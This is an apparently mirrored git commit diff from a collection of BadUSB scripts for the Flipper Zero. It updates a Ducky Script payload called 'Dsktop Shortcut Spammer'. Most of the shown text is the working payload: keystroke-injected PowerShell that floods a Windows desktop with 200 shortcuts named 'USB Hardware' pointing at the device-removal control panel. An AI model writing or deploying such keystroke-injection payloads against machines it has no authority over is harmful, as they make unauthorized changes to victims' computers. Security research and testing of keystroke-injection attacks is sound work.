mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2026-01-04 08:47:15 -08:00
Update Dsktop Shortcut Spammer.txt
This commit is contained in:
@@ -1,5 +1,5 @@
|
||||
REM Title: Dsktop Shortcut Spammer
|
||||
REM Author: @beigeworm
|
||||
REM Author: @beigeworm | https://github.com/beigeworm
|
||||
REM Description: Uses Powershell to generate a specified amount of shortcuts on the desktop.
|
||||
REM Target: Windows 10
|
||||
|
||||
@@ -21,4 +21,4 @@ STRING $n = 200;$i = 0;while($i -lt $n){;$num = Get-Random;$Location = "C:\Windo
|
||||
REM rest of the script.
|
||||
STRING ;$WshShell = New-Object -ComObject WScript.Shell;$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\USB Hardware" + $num + ".lnk")
|
||||
STRING ;$Shortcut.TargetPath = $Location;$Shortcut.Arguments ="shell32.dll,Control_RunDLL hotplug.dll";$Shortcut.IconLocation = "hotplug.dll,0"
|
||||
STRING ;$Shortcut.Description ="Device Removal";$Shortcut.WorkingDirectory ="C:\Windows\System32";$Shortcut.Save();Start-Sleep -Milliseconds 10;$i++};sleep 10;exit
|
||||
STRING ;$Shortcut.Description ="Device Removal";$Shortcut.WorkingDirectory ="C:\Windows\System32";$Shortcut.Save();Start-Sleep -Milliseconds 10;$i++};sleep 10;exit
|
||||
|
||||
Reference in New Issue
Block a user